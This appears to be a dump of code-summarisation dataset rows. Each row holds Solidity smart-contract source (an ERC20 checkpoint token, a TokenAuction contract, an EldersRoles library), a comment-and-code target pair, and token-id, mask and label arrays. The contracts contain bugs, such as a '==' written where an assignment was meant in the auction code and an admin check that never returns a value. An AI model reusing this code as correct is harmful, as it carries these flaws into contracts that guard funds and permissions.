Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_contract_owner, newOwner); _contract_owner = newOwner; } } // File: contracts/erc20/IERC20.sol pragma solidity >=0.4.21 <0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/SafeMath.sol pragma solidity >=0.4.21 <0.6.0; library SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a, "add"); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a, "sub"); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b, "mul"); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0, "div"); c = a / b; } } // File: contracts/utils/Address.sol pragma solidity >=0.4.21 <0.6.0; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: contracts/erc20/SafeERC20.sol pragma solidity >=0.4.21 <0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeAdd(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeSub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/utils/AddressArray.sol pragma solidity >=0.4.21 <0.6.0; library AddressArray{ function exists(address[] memory self, address addr) public pure returns(bool){ for (uint i = 0; i< self.length;i++){ if (self[i]==addr){ return true; } } return false; } function index_of(address[] memory self, address addr) public pure returns(uint){ for (uint i = 0; i< self.length;i++){ if (self[i]==addr){ return i; } } require(false, "AddressArray:index_of, not exist"); } function remove(address[] storage self, address addr) public returns(bool){ uint index = index_of(self, addr); self[index] = self[self.length - 1]; delete self[self.length-1]; self.length--; return true; } } // File: contracts/erc20/ERC20Impl.sol pragma solidity >=0.4.21 <0.6.0; contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes memory _data ) public; } contract TransferEventCallBack{ function onTransfer(address _from, address _to, uint256 _amount) public; } contract ERC20Base { string public name; //The Token's name: e.g. GTToken uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "AET_0.1"; //An arbitrary versioning scheme using AddressArray for address[]; address[] public transferListeners; //////////////// // Events //////////////// event Transfer(address indexed _from, address indexed _to, uint256 _amount); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); event NewTransferListener(address _addr); event RemoveTransferListener(address _addr); /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned ERC20Base public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) public balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] public totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; //////////////// // Constructor //////////////// /// @notice Constructor to create a ERC20Base /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred constructor( ERC20Base _parentToken, uint _parentSnapShotBlock, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, bool _transfersEnabled ) public { name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != address(0)) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false uint256 previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes memory _extraData) public returns (bool success) { require(approve(address(_spender), _amount)); _spender.receiveApproval( msg.sender, _amount, address(this), _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public view returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public view returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function _generateTokens(address _owner, uint _amount) internal returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(address(0), _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function _destroyTokens(address _owner, uint _amount) internal returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, address(0), _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function _enableTransfers(bool _transfersEnabled) internal { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; }function getCheckPointAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return min; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } function onTransferDone(address _from, address _to, uint256 _amount) internal { for(uint i = 0; i < transferListeners.length; i++){ TransferEventCallBack t = TransferEventCallBack(transferListeners[i]); t.onTransfer(_from, _to, _amount); } } function _addTransferListener(address _addr) internal { transferListeners.push(_addr); emit NewTransferListener(_addr); } function _removeTransferListener(address _addr) internal{ transferListeners.remove(_addr); emit RemoveTransferListener(_addr); } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } //function () external payable { //require(false, "cannot transfer ether to this contract"); //} } // File: contracts/utils/TokenClaimer.sol pragma solidity >=0.4.21 <0.6.0; contract TokenClaimer{ event ClaimedTokens(address indexed _token, address indexed _to, uint _amount); /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function _claimStdTokens(address _token, address payable to) internal { if (_token == address(0x0)) { to.transfer(address(this).balance); return; } uint balance = IERC20(_token).balanceOf(address(this)); (bool status,) = _token.call(abi.encodeWithSignature("transfer(address,uint256)", to, balance)); require(status, "call failed"); emit ClaimedTokens(_token, to, balance); } } // File: contracts/plugins/TokenAuction.sol pragma solidity >=0.4.21 <0.6.0; contract TokenAuction is Ownable, TokenClaimer{ using SafeERC20 for IERC20; using SafeMath for uint256; address public bank; address public target_token; address public recv_token; address public yield_pool; uint256 public start_price; uint256 public last_duration_in_blocknum; uint256 public minimal_bumpup; uint256 public minimal_amount; uint256 public ratio_base; bool public paused; struct round_info{ uint256 last_auction_block; uint256 highest_price; uint256 highest_amount; address payable highest_sender; bool settled; } round_info[] public all_rounds; constructor(address _bank, address _target_token, address _recv_token, address _yield_pool, uint256 _start_price, uint256 _last_duration_in_blocknum, uint256 _minimal_bumpup, uint256 _minimal_amount) public{ bank = _bank; target_token = _target_token; recv_token = _recv_token; start_price = _start_price; last_duration_in_blocknum = _last_duration_in_blocknum; minimal_bumpup = _minimal_bumpup; minimal_amount = _minimal_amount; yield_pool = _yield_pool; ratio_base = 10000; paused = false; } event PlaceAuction(address newAuctioner, uint256 newAmount, uint256 newPrice, address oldAuctioner, uint256 oldAmount, uint256 oldPrice); function auction(uint256 amount, uint256 price) public returns(bool){ require(!paused, "auction already paused"); require(amount >= minimal_amount, "less than minimal amount"); require(price >= start_price, "less than start price"); if(all_rounds.length == 0){ round_info memory ri; ri.last_auction_block == block.number; all_rounds.push(ri); } round_info storage ri = all_rounds[all_rounds.length - 1]; if(block.number > ri.last_auction_block.safeAdd(last_duration_in_blocknum)){ if(!ri.settled){ _end_current_auction(); } round_info memory ti; ti.last_auction_block == block.number; all_rounds.push(ti); ri = all_rounds[all_rounds.length - 1]; } //require(price >= ri.highest_price.safeMul(ratio_base + minimal_bumpup).safeDiv(ratio_base), "price bump up too small"); uint256 t = amount.safeMul(price).safeDiv(uint256(10)**ERC20Base(target_token).decimals()); uint256 h = ri.highest_amount.safeMul(ri.highest_price).safeDiv(uint256(10)**ERC20Base(target_token).decimals()); require(t >= h.safeMul(ratio_base + minimal_bumpup).safeDiv(ratio_base), "total payment bump up too small"); require(amount <= IERC20(target_token).balanceOf(bank), "bank doesn't have enough token"); if(ri.highest_sender != address(0x0)){ IERC20(recv_token).safeTransfer(ri.highest_sender, h); } emit PlaceAuction(msg.sender, amount, price, ri.highest_sender, ri.highest_amount, ri.highest_price); IERC20(recv_token).safeTransferFrom(msg.sender, address(this), t); ri.last_auction_block = block.number; ri.highest_price = price; ri.highest_amount = amount; ri.highest_sender = msg.sender; ri.settled = false; return true; } event AuctionDone(address bidder, uint256 price, uint256 amount); function _end_current_auction() internal{ round_info storage ri = all_rounds[all_rounds.length - 1]; if(ri.settled) return; //require(ri.settled == false, "already settled"); ri.settled = true; TokenBankInterface(bank).issue(target_token, ri.highest_sender, ri.highest_amount); IERC20(recv_token).safeTransfer(yield_pool, ri.highest_price.safeMul(ri.highest_amount).safeDiv(uint256(10)**ERC20Base(target_token).decimals())); emit AuctionDone(ri.highest_sender, ri.highest_price, ri.highest_amount); } function end_current_auction() public { if(all_rounds.length == 0){ return ; } round_info storage ri = all_rounds[all_rounds.length - 1]; if(ri.settled){ return ; } require(block.number > ri.last_auction_block.safeAdd(last_duration_in_blocknum), "not ready to end"); _end_current_auction(); } function pause_auction() public onlyOwner{ _end_current_auction(); paused = true; } function resume_auction() public onlyOwner{ paused = false; } function claimStdTokens(address _token, address payable to) public onlyOwner{ _claimStdTokens(_token, to); } event SetStartPrice(uint256 start_price); function set_start_price(uint256 _start_price) public onlyOwner{ start_price = _start_price; emit SetStartPrice(start_price); } event SetMinimalAmount(uint256 minimal_amount); function set_minimal_amount(uint256 _minimal_amount) public onlyOwner{ minimal_amount = _minimal_amount; emit SetMinimalAmount(minimal_amount); } event SetMinimalBumpup(uint256 minimal_bumpup); function set_minimal_bumpup(uint256 _minimal_bumpup) public onlyOwner{ minimal_bumpup = _minimal_bumpup; emit SetMinimalBumpup(minimal_bumpup); } event SetDuration(uint256 last_duration_in_blocknum); function set_duration(uint256 _last_duration_in_blocknum) public onlyOwner{ last_duration_in_blocknum = _last_duration_in_blocknum; emit SetDuration(last_duration_in_blocknum); } event ChangeYieldPool(address yield_pool); function change_yield_pool(address _yield_pool) public onlyOwner{ yield_pool = _yield_pool; emit ChangeYieldPool(yield_pool); } event ChangeBank(address bank); function change_bank(address _bank) public onlyOwner{ bank = _bank; emit ChangeBank(bank); } function get_current_auction_round() public view returns(uint256){ return all_rounds.length; } function get_current_auction_info() public view returns(uint256 last_auction_block, uint256 highest_price, uint256 highest_amount, address payable highest_sender){ return get_auction_info(get_current_auction_round() - 1); } function get_auction_info(uint256 index) public view returns(uint256 last_auction_block, uint256 highest_price, uint256 highest_amount, address payable highest_sender){ round_info storage ri = all_rounds[index]; last_auction_block = ri.last_auction_block; highest_price = ri.highest_price; highest_amount = ri.highest_amount; highest_sender = ri.highest_sender; } } contract TokenAuctionFactory{ event NewTokenAuction(address addr); function createTokenAuction(address bank, address target_token, address recv_token, address yield_pool, uint256 start_price, uint256 last_duration_in_blocknum, uint256 minimal_bumpup, uint256 minimal_amount) public returns(address){ TokenAuction newAuction = new TokenAuction(bank, target_token, recv_token, yield_pool, start_price, last_duration_in_blocknum, minimal_bumpup, minimal_amount); emit NewTokenAuction(address(newAuction)); newAuction.transferOwnership(msg.sender); return address(newAuction); } }
Number of decimals of the smallest unit
uint8 public decimals;
204,539
[ 1, 1854, 434, 15105, 434, 326, 13541, 2836, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 28, 1071, 15105, 31, 2868, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^ 0.5.1; /** @title EldersRoles @author Elders Team @notice compatible with v0.5.10 commit.5a6ea5b1 * @dev EldersRoles is a helper library for adding or removing multi roles to accounts */ import "./EldersUtilities.sol"; library EldersRoles { using EldersUtilities for uint[]; struct Roles{ //mapping account address to Roles mapping(address => uint[]) AccountRoles; // the maximum limit for type array uint8 MaxRolesArrayLength; } //Default rolles for accounts enum DefaultRoles { defaultVal, admin } //events function SetMaxRolesArrayLength(Roles storage role,uint8 maxArrayVal)internal{ role.MaxRolesArrayLength=maxArrayVal; } function AddRoleToAccount( Roles storage role, uint _role, address _accountAddress ) internal { require(RoleNotExistForUser(role, _accountAddress,_role), "Role is already exist"); role.AccountRoles[_accountAddress].push(_role); } function RemoveRoleFromAccount( Roles storage role, uint _role, address _accountAddress )internal { uint[] memory newRoles =role.AccountRoles[ _accountAddress]; role.AccountRoles[ _accountAddress]= newRoles.DeleteValue(_role); role.AccountRoles[ _accountAddress].length--; } /** * @dev if this role is not Exist for this account address * use this function for modifire logic contract methodes for one role only * function returns false when role is exist */ function RoleNotExistForUser( Roles storage role, address _address, uint _roleID ) internal view returns(bool){ bool result = true; uint[] memory accountRoles =role.AccountRoles[_address]; require( accountRoles.length <uint8(role.MaxRolesArrayLength), "type is out of lemit"); for (uint i = 0; i < accountRoles.length; i++) { if ( accountRoles[i] == _roleID) { result = false; } } return result; } /** * @dev if this roles are assigned to this account address or not * use this function for modifire logic contract methodes to check for array of roles */ function AccountHasRoles( Roles storage role, uint[] memory _validationRoles, address _AccountAddress) internal view returns(bool) { bool result = false; uint[] memory _accountRoles = role.AccountRoles[ _AccountAddress]; require(_validationRoles.length <uint(role.MaxRolesArrayLength), "cert-ledger-prefex(16)"); require(_accountRoles.length < uint(role.MaxRolesArrayLength), "cert-ledger-prefex(16)"); for (uint i = 0; i < _accountRoles.length; i++) { for (uint _role = 0; _role < _validationRoles.length; _role++) { if (_validationRoles[ _role] == _accountRoles[i]) { result = true; } } } return result; } /** * @dev if this account address is for admin * use this function for modifire logic contract methodes to check if account is admin */ function AccountIsAdmin( Roles storage role, address _AccountAddress ) internal view returns(bool) { bool result = false; uint[] memory _accountRoles = role.AccountRoles[ _AccountAddress]; for (uint i = 0; i < _accountRoles.length; i++) { if ( _accountRoles[i] == uint(DefaultRoles.admin)) { result = true; } } require(result, "cert-ledger-prefex(1)"); } }
mapping account address to Roles the maximum limit for type array
struct Roles{ mapping(address => uint[]) AccountRoles; uint8 MaxRolesArrayLength; }
12,764,413
[ 1, 6770, 2236, 1758, 358, 19576, 326, 4207, 1800, 364, 618, 526, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 225, 19576, 95, 203, 565, 2874, 12, 2867, 516, 2254, 63, 5717, 6590, 6898, 31, 203, 565, 2254, 28, 4238, 6898, 1076, 1782, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
